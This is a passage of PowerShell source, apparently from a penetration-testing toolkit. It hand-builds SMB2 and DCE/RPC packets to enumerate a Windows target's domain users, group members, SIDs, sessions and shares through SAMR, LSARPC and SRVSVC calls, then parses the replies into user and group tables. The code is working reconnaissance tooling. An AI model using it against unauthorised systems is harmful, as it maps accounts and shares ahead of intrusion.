> $null if(Get-StatusPending $client_receive[12..15]) { $stage = 'StatusPending' $stage_next = 'StatusReceived' } else { $stage = 'StatusReceived' } } 'Connect5' { $message_ID++ $stage_current = $stage $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID $packet_SAMR_data = New-PacketSAMRConnect5 $Target $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x06,0x00,0x00,0x00 0x00,0x00 0x40,0x00 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..15] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if(Get-StatusPending $client_receive[12..15]) { $stage = 'StatusPending' $stage_next = 'StatusReceived' } else { $stage = 'StatusReceived' } } 'CreateRequest' { $message_ID++ $stage_current = $stage $packet_SMB_header = New-PacketSMB2Header 0x05,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID $packet_SMB_data = New-PacketSMB2CreateRequestFile $named_pipe $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $SMB_header + $SMB_data $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..15] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data try { $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if(Get-StatusPending $client_receive[12..15]) { $stage = 'StatusPending' $stage_next = 'StatusReceived' } else { $stage = 'StatusReceived' } } catch { Write-Output "[-] Session connection is closed" $stage = 'Exit' } } 'EnumDomainUsers' { $message_ID++ $stage_current = $stage $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID $packet_SAMR_data = New-PacketSAMREnumDomainUsers $SAMR_domain_handle $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x08,0x00,0x00,0x00 0x00,0x00 0x0d,0x00 $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..15] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if(Get-StatusPending $client_receive[12..15]) { $stage = 'StatusPending' $stage_next = 'StatusReceived' } else { $stage = 'StatusReceived' } } 'GetMembersInAlias' { $message_ID++ $stage_current = $stage $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID $packet_SAMR_data = New-PacketSAMRGetMembersInAlias $SAMR_policy_handle $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x0d,0x00,0x00,0x00 0x00,0x00 0x21,0x00 $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..15] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if(Get-StatusPending $client_receive[12..15]) { $stage = 'StatusPending' $stage_next = 'StatusReceived' } else { $stage = 'StatusReceived' } } 'Logoff' { $message_ID++ $stage_current = $stage $packet_SMB_header = New-PacketSMB2Header 0x02,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID $packet_SMB_data = New-PacketSMB2SessionLogoffRequest $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $SMB_header + $SMB_data $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..15] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null $stage = 'Exit' } 'LookupNames' { $message_ID++ $stage_current = $stage $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID $packet_SAMR_data = New-PacketSAMRLookupNames $SAMR_domain_handle $Group $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x08,0x00,0x00,0x00 0x00,0x00 0x11,0x00 $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..15] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if(Get-StatusPending $client_receive[12..15]) { $stage = 'StatusPending' $stage_next = 'StatusReceived' } else { $stage = 'StatusReceived' } } 'LookupRids' { $message_ID++ $stage_current = $stage $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID $packet_SAMR_data = New-PacketSAMRLookupRids $SAMR_domain_handle $RID_count_bytes $RID_list $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x0b,0x00,0x00,0x00 0x00,0x00 0x12,0x00 $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..15] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if(Get-StatusPending $client_receive[12..15]) { $stage = 'StatusPending' $stage_next = 'StatusReceived' } else { $stage = 'StatusReceived' } } 'LSAClose' { $message_ID++ $stage_current = $stage $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID $packet_LSARPC_data = New-PacketLSAClose $policy_handle $LSARPC_data = ConvertFrom-PacketOrderedDictionary $packet_LSARPC_data $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $LSARPC_data.Length 4280 $packet_RPC_data = New-PacketRPCRequest 0x03 $LSARPC_data.Length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x00,0x00 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $LSARPC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $LSARPC_data $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..15] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $LSARPC_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null $step++ if(Get-StatusPending $client_receive[12..15]) { $stage = 'StatusPending' $stage_next = 'StatusReceived' } else { $stage = 'StatusReceived' } } 'LSALookupSids' { $message_ID++ $stage_current = $stage $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID $packet_LSARPC_data = New-PacketLSALookupSids $policy_handle $SID_array $LSARPC_data = ConvertFrom-PacketOrderedDictionary $packet_LSARPC_data $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $LSARPC_data.Length 4280 $packet_RPC_data = New-PacketRPCRequest 0x03 $LSARPC_data.Length 0 0 0x10,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $LSARPC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $LSARPC_data $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..15] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $LSARPC_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if(Get-StatusPending $client_receive[12..15]) { $stage = 'StatusPending' $stage_next = 'StatusReceived' } else { $stage = 'StatusReceived' } } 'LSAOpenPolicy' { $message_ID++ $stage_current = $stage $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID $packet_LSARPC_data = New-PacketLSAOpenPolicy $LSARPC_data = ConvertFrom-PacketOrderedDictionary $packet_LSARPC_data $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $LSARPC_data.Length 4280 $packet_RPC_data = New-PacketRPCRequest 0x03 $LSARPC_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x06,0x00 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $LSARPC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $LSARPC_data $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..15] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $LSARPC_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if(Get-StatusPending $client_receive[12..15]) { $stage = 'StatusPending' $stage_next = 'StatusReceived' } else { $stage = 'StatusReceived' } } 'LSAQueryInfoPolicy' { $message_ID++ $stage_current = $stage $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID $packet_LSARPC_data = New-PacketLSAQueryInfoPolicy $policy_handle $LSARPC_data = ConvertFrom-PacketOrderedDictionary $packet_LSARPC_data $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $LSARPC_data.Length 4280 $packet_RPC_data = New-PacketRPCRequest 0x03 $LSARPC_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x07,0x00 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $LSARPC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $LSARPC_data $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..15] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $LSARPC_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if(Get-StatusPending $client_receive[12..15]) { $stage = 'StatusPending' $stage_next = 'StatusReceived' } else { $stage = 'StatusReceived' } } 'NetSessEnum' { $message_ID++ $stage_current = $stage $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID $packet_SRVSVC_data = New-PacketSRVSVCNetSessEnum $Target $SRVSVC_data = ConvertFrom-PacketOrderedDictionary $packet_SRVSVC_data $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SRVSVC_data.Length 1024 $packet_RPC_data = New-PacketRPCRequest 0x03 $SRVSVC_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SRVSVC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SRVSVC_data $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..15] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SRVSVC_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if(Get-StatusPending $client_receive[12..15]) { $stage = 'StatusPending' $stage_next = 'StatusReceived' } else { $stage = 'StatusReceived' } } 'NetShareEnumAll' { $message_ID++ $stage_current = $stage $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID $packet_SRVSVC_data = New-PacketSRVSVCNetShareEnumAll $Target $SRVSVC_data = ConvertFrom-PacketOrderedDictionary $packet_SRVSVC_data $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SRVSVC_data.Length 4280 $packet_RPC_data = New-PacketRPCRequest 0x03 $SRVSVC_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SRVSVC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SRVSVC_data $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..15] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SRVSVC_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if(Get-StatusPending $client_receive[12..15]) { $stage = 'StatusPending' $stage_next = 'StatusReceived' } else { $stage = 'StatusReceived' } } 'OpenAlias' { $message_ID++ $stage_current = $stage $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID $packet_SAMR_data = New-PacketSAMROpenAlias $SAMR_domain_handle $SAMR_RID $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x0c,0x00,0x00,0x00 0x00,0x00 0x1b,0x00 $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..15] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if(Get-StatusPending $client_receive[12..15]) { $stage = 'StatusPending' $stage_next = 'StatusReceived' } else { $stage = 'StatusReceived' } } 'OpenDomain' { $message_ID++ $stage_current = $stage $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID $packet_SAMR_data = New-PacketSAMROpenDomain $SAMR_connect_handle $SID_count $LSA_domain_SID $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x07,0x00,0x00,0x00 0x00,0x00 0x07,0x00 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..15] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if(Get-StatusPending $client_receive[12..15]) { $stage = 'StatusPending' $stage_next = 'StatusReceived' } else { $stage = 'StatusReceived' } } 'OpenGroup' { $message_ID++ $stage_current = $stage $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID $packet_SAMR_data = New-PacketSAMROpenGroup $SAMR_domain_handle $SAMR_RID $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x09,0x00,0x00,0x00 0x00,0x00 0x13,0x00 $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..15] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if(Get-StatusPending $client_receive[12..15]) { $stage = 'StatusPending' $stage_next = 'StatusReceived' } else { $stage = 'StatusReceived' } } 'ParseLookupRids' { [Byte[]]$response_user_count_bytes = $client_receive[140..143] $response_user_count = [System.BitConverter]::ToInt16($response_user_count_bytes,0) $response_user_start = $response_user_count * 8 + 164 $response_user_end = $response_user_start $response_user_length_start = 152 $response_user_list = @() $response_username_list = @() $response_user_type_list = @() $i = 0 while($i -lt $response_user_count) { [Byte[]]$response_user_length_bytes = $client_receive[$response_user_length_start..($response_user_length_start + 1)] $response_user_length = [System.BitConverter]::ToInt16($response_user_length_bytes,0) $response_user_end = $response_user_start + $response_user_length [Byte[]]$response_actual_count_bytes = $client_receive[($response_user_start - 4)..($response_user_start - 1)] $response_actual_count = [System.BitConverter]::ToInt16($response_actual_count_bytes,0) [Byte[]]$response_user_bytes = $client_receive[$response_user_start..($response_user_end - 1)] if($response_actual_count % 2) { $response_user_start += $response_user_length + 14 } else { $response_user_start += $response_user_length + 12 } $response_user = [System.BitConverter]::ToString($response_user_bytes) $response_user = $response_user -replace "-00","" $response_user = $response_user.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $response_user = New-Object System.String ($response_user,0,$response_user.Length) $response_username_list += $response_user $response_user_length_start = $response_user_length_start + 8 $i++ } $response_user_type_array_bytes = $client_receive[($response_user_end + 14)..($response_user_end + 13 + ($response_user_count * 4))] $response_user_type_start = 0 for($i = 0; $i -lt $response_user_count; $i++) { $response_user_type_bytes = $response_user_type_array_bytes[($response_user_type_start..($response_user_type_start + 3))] $response_user_type_start += 4 $response_user_type = [System.BitConverter]::ToInt16($response_user_type_bytes,0) if($response_user_type -eq 1) { $response_user_type_list += "user" } else { $response_user_type_list += "group" } } $i = 0 ForEach($user in $response_username_list) { $response_user_object = New-Object PSObject Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name Username $user Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name Type $response_user_type_list[$i] $response_user_list += $response_user_object $i++ } if($Action -eq 'All') { Write-Output "$Group Users:" } Write-Output $response_user_list | Sort-Object -property Username |Format-Table -AutoSize $stage = 'CloseRequest' } 'ParseLookupSids' { [Byte[]]$response_domain_count_bytes = $client_receive[144..147] $response_domain_count = [System.BitConverter]::ToInt16($response_domain_count_bytes,0) $response_domain_start = $response_domain_count * 12 + 172 $response_domain_end = $response_domain_start $response_domain_length_start = 160 $response_domain_list = @() $i = 0 while($i -lt $response_domain_count) { [Byte[]]$response_domain_length_bytes = $client_receive[$response_domain_length_start..($response_domain_length_start + 1)] $response_domain_length = [System.BitConverter]::ToInt16($response_domain_length_bytes,0) $response_domain_end = $response_domain_start + $response_domain_length [Byte[]]$response_actual_count_bytes = $client_receive[($response_domain_start - 4)..($response_domain_start - 1)] $response_actual_count = [System.BitConverter]::ToInt16($response_actual_count_bytes,0) [Byte[]]$response_domain_bytes = $client_receive[$response_domain_start..($response_domain_end - 1)] if($response_actual_count % 2) { $response_domain_start += 